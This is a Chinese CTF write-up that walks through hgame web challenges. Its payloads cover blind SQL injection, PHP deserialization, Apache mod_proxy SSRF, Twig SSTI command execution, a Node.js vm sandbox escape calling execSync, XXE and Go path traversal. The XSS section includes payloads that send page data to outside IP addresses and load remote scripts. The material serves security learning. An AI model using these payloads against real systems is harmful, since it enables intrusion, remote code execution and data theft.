前言
web篇
Tetris plus
直接搜索alert
Fujiwara Tofu Shop
添加一些头部信息,X-Real-IP: 127.0.0.1
蛛蛛…嘿嘿?我的蛛蛛
import requests
from lxml import etree
url = 'https://hgame-spider.vidar.club/be26bf4bdf'
r = requests.get(url).text
htmltxt = etree.HTML(r)
key = htmltxt.xpath("//a/@href")
Key = ''.join(key)
for i in range(110):
print(url+Key)
r = requests.get(url+Key).text
htmltxt = etree.HTML(r)
key = htmltxt.xpath("//a/@href")
Key = ''.join(key)
if 'game' in r:
print("success!"+r)
break
第100个包,头部信息
easy_auth
jwt没密钥直接换0
webpack-engine
Webpack打包网站,细心点搜一下源码
Flag: hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}
一本单词书
username=adm1n&password=1080a 弱比较绕过登录
save.php可以操作session文件
get.php可以反序列化
由于数据处理时为 json_decode 所以 键值对的键可控,注入session文件,反序列化读取文件 Payload
{
"y0ng|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";N;}":1
}
访问get.php触发反序列化
Flag:hgame{Uns@f3_D3seR1@liz4t1On!Is~h0rr1b1e-!n_PhP}
Apache!
附件 Default.conf 发现 flag路径
搜索相关cve,2021 年 Apache 的 mod_proxy 模块报了个 SSRF 漏洞(CVE-2021-40438),Apache httpd Server CVE-2021-40438 漏洞分析, 用来ssrf探测内网,这题设置了 /proxy的代理服务
Payload
GET /proxy?unix:A*6409|http://127.0.0.1:60010/flag HTTP/1.1
Host: 127.0.0.1:8787
User-Agent: curl/7.64.1
Accept: */*
Flag:hgame{COng@tul4ti0n~u_r3prOduced_CVE-2021-40438}
Pokemon
error.php二分法盲注,过滤 = 用 like绕过
import requests
url = "http://121.43.141.153:60056/error.php?code="
result = ""
i = 0
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
mid = (head + tail) >> 1
payload = "if(ascii(substr((selselectect/*/**/*/flag/*/**/*/frfromom/*/**/*/fllllllllaaaaaag),%d,1))>%d,404,403)" % (i, mid)
r = requests.get(url + payload)
if "404" in r.text:
head = mid + 1
else:
tail = mid
last = result
if head != 32:
result += chr(head)
else:
break
print(result)
Flag:hgame{C0n9r@tul4tiOn#Y0u$4r3_sq1_M4ST3R^}
At0m的留言板
给了一个html模板,发现flag在 <head> 标签中被定义
题目环境是在微信平台,发送paylaod会返回代码执行的截图,禁用了一些常见xss,本来思路是让flag回显到平台,然后得到截图就行了,但是可能是截图太快,或者其他原因,不回显,所以只能外带数据
以下是部分测试payload
</span><img src=”111” onerror=alert(1)><span>
</span><a onload="document.location='http\://150.158.181.145:8000/?'+flag;">xss link\</a><span>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAYElEQVRIiWNcPD89JF9HRVRbMF0oJF9QT1NUWzFdKTs/PliAgYHBc143k/yPi9t+X9N9qif38ePJv1/vBnyyMDBj2bln/dk9G84yjIJRMApGwSgYBaNgFIyCUTAKhg0AAIGyGwIHeA0MAAAAAElFTkSuQmCC" onload="window.open('http\://150.158.181.145:8000/?'+flag);" width="336" height="36">
?
<span id="msg"><video src="111" onerror="document.getElementById('msg').innerHTML=flag;"></span>
<span id="msg"><audio controls onloadeddate="document.getElementById('msg').innerHTML=flag;"><source src=https://www.w3school.com.cn/i/horse.mp3 type="audio/mpeg"></audio></span>
<span id="msg"><audio controls oncanplay="document.getElementById('msg').innerHTML=flag;"><source src="https://www.w3school.com.cn/i/horse.mp3" type="audio/mpeg"></audio></span>
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://1.116.110.61:8000/1.js'><audio controls oncanplay="haiCoder()"><source src="https://www.w3school.com.cn/i/horse.mp3" type="audio/mpeg"></audio>
然后就是 利用img的src获取script中的数据然后外带数据
payload
<img src=x onerror="window.open('http://1.116.110.61/'+document.getElementsByTagName('head')[0].getElementsByTagName('script')[0].text)" width="336" height="36">
或者
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://1.116.110.61/'+document.getElementsByTagName('head')[0].getElementsByTagName('script')[0].text>
Flag:hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}
wp解法:
本题设计的思路是 获取到全局的变量名,然后找到 flag 的变量名再拿到 flag。
这也是模板html的提示点:为什么同样是两个变量,第一个使用 let,而第二个使用 var 呢?因为 使用 var 可 以利用 Object.keys(window) 拿到全局变量 flag 的变量名,而使用let的话无法获取。
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)">
再用
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText =F149_is_Here">
总结: 由于我对于html返回对象那里基础薄弱,所以在找html中的script标签时费了很大力气然后就是在控制台进行测试
慢慢的找出对应的节点,获取文本 知识点:
var elements = document.getElementsByTagName(name); 返回集合getElementsByTagName('script') 在寻找标签为script的节点
相关文章
XSS过滤绕过总结 - 随风kali - 博客园 (cnblogs.com)
XSS漏洞之加载远程js文件
XSS漏洞之加载远程js文件
document对象
HTMLElement
工作中梳理XSS Bypass WAF相关Payload - Fly 我是小灰灰 (yaofeifly.github.io)
xss绕waf几种姿势剖析 (qq.com)
Bypass XSS SQL Payload大全 (qq.com)
Vidar shop demo
注册用户然后发现账户有9999元,商店里面flag需要1w
应该就是逻辑漏洞或者竞争,点击flag商品和其他一个商品进行下单,先把40的支付一下
发现点击删除按钮后会取消订单,退还钱,抓包看看
发现当点击删除时,发起一个对应ID的包,将id改为flag对应id 2637放包发现退还了1w,再次购买flag,成功
Flag:hgame{8f8ddb3537b037a296a85e920d54f650b4a6cc73b015ac0bdb91a579a193aa71}
SecurityCenter
发现泄露 /vendor/composer/installed.json,使用了twig的框架,发现一个疑似ssrf地方 经过测试存在SSTI
TWIG 全版本通用 SSTI payloads
Payload:
{{["id",%200]|sort("system")|join(",")}}
{{[%22base64+/f*%22,%200]|sort(%22system%22)|join(%22,%22)}}
FLAG: hgame{!Tw19-S5t11s^s00O0O_inter3st1n5~!}
LoginMe
Sqlmap直接跑出来了。。。
python3 sqlmap.py -r c:\Users\cys\Desktop\sql.txt --batch --random-agent -T uuussseeerrrsss -C password --dump –flush
登录得flag
FLAG: hgame{d0490213241f3f29f172c475e1641a7d37bf2b8208616c4d4489aa58a1ebaeb4}
Markdown Online
学习到了markdown xss nodejs vm逃逸 过滤
先看导入了什么,markdown-it 与 zombie
Zombie存在一个沙箱逃逸的rce漏洞,找到了出题人之前写过的一篇文章,与祥云杯的 cralwer_z 类似
Nodejs Zoombie Package RCE 分析
看一下登录控制器,密码转换为大写后要与54g相等,这是不可能的
登录处只要让 toUpperCase 抛出异常就可以登陆成功,让password为数组即可使其长度为16绕过
{"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]}
接着审计提交的控制器
先将传入的代码进行md渲染编程html,接着利用Browser中的load进行操作
load又调用了this.tabs.open({ html: html }) 其实这里的 open 就是漏洞的入口
剩下分析移步Nodejs Zoombie Package RCE 分析
祥云杯是通过visit为入口,这道题是以load为入口,那整体就是,将传入的代码在提交之后渲染为html,然后放入沙箱中运行,让其逃逸即可,这里还需要markdown的语法
发现在 vm 模块运行js代码,代码运行的上下文是 window对象
但是这里存在一个waf
function waf(code) {
const blacklist = /__proto__|prototype|\+|atlert|confirm|escape|parseInt|parseFloat|prompt|isNaN|new|this|process|constructor|atob|btoa|apk/i
if (code.match(blacklist)) {
return "# Hacker!"
} else {
return code
}
}
过滤了关键词,给出两种 绕过,当我想要以相同方式 绕过this时,发现对于this不适用,然后找到了这篇文章
nodejs沙箱与黑魔法 - 先知社区 (aliyun.com)
尝试调用 window 的方法 然后调用 constructor 向上 返回的一个 Function constructor 然后 利用Function对象构造一个函数并执行
Payload:
<script>
var a='const';var b='ructor';var c=[a,b].join('');
var d='return p';var e='rocess';var f=[d,e].join('');
var h='child_p';var i=[h,e].join('');
var j='th';var k='is';var l=[j,k].join('');
x= clearImmediate [c][c][c][c](f)();y=x.mainModule.require(i);z=y.execSync('whoami').toString();document.write(z);
</script>
或者
<script>
var h='child_p';var e='rocess';var i=[h,e].join('');
x=clearImmediate[`${`${`constructo`}r`}`][`${`${`constructo`}r`}`][`${`${`constructo`}r`}`]([`${`${`return proces`}s`}`])();y=x.mainModule.require(i);z=y.execSync('cat /flag').toString();document.write(z);
</script>
Flag:hgame{3nj0y*Th3/pR0tOtype/pOllut10n!1n_j@v4scr1pt}
后续测试,构造一个constructor即可,成功的window方法:
btoa、cancelAnimationFrame、captureEvents、clearImmediate,print等等可以自行寻找
window方法:clearImmediate()_w3cschool
相关文章: Markdown xss payload Markdown-XSS-Payloads.txt
nodejs 沙盒逃逸 Node.js沙盒逃逸分析 nodejs-vm沙箱逃逸 NodeJs 沙盒逃逸分析及原型链的简单学习
nodejs编码: Nodejs的一些技巧 nodejs代码执行绕过的一些技巧汇总
vm2逃逸payload项目 https://github.com/patriksimek/vm2
Comment
libxml_disable_entity_loader(false); 允许外部实体,waf了一些关键字
返回flag的逻辑就是sender需要为admin,但是post数据包里不能有admin关键字
本想在content通过一百万个字符绕过preg_match,然后发现题目环境不可以,那就进行外部实体拼接绕过 payload
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe "ad" >
<!ENTITY xxe2 "min" >]>
<comment><sender>&xxe;&xxe2;</sender><content>123</content></comment>
Flag:hgame{Pr3ud0~prOtQc4l*m33ts_Xx3-!nj3cti0n~!}
FileSystem
两个文件 Main.go
package main
import (
"log"
"net/http"
)
func fileHandler(w http.ResponseWriter, r *http.Request) {
http.FileServer(http.Dir("./")).ServeHTTP(w, r)
}
func main() {
http.HandleFunc("/", fileHandler)
http.HandleFunc("/there_may_be_a_flag", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte(`No! You can't see the flag!`))
})
log.Fatal(http.ListenAndServe(":8889", nil))
}
there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!
审计完再结合题目觉得应该是 http.FileServer(http.Dir("./")).ServeHTTP(w, r),出了问题,应该是存在漏洞导致可以跨目录读取到flag,搜索了一下,找到了go的一些安全问题
golang的一些安全问题
随后发现了漏洞的出处 justCTF [*] 2020:Go-fs,出题人在github提交了issue,https://github.com/golang/go/issues/40940
在ctf中还出现了非预期解法,利用一下非预期来解一下题目
payload
curl -X CONNECT --path-as-is http://3445d0f8a3.filesystem.hgame.homeboyc.cn/123/../there_may_be_a_flag
非预期的原理: 如果是 CONNECT 方式请求,就 不会处理url中的特殊字符,导致直接读取flag.其他的请求方法都会在cleanPath中被处理url,golang1.16似乎已经处理了。
|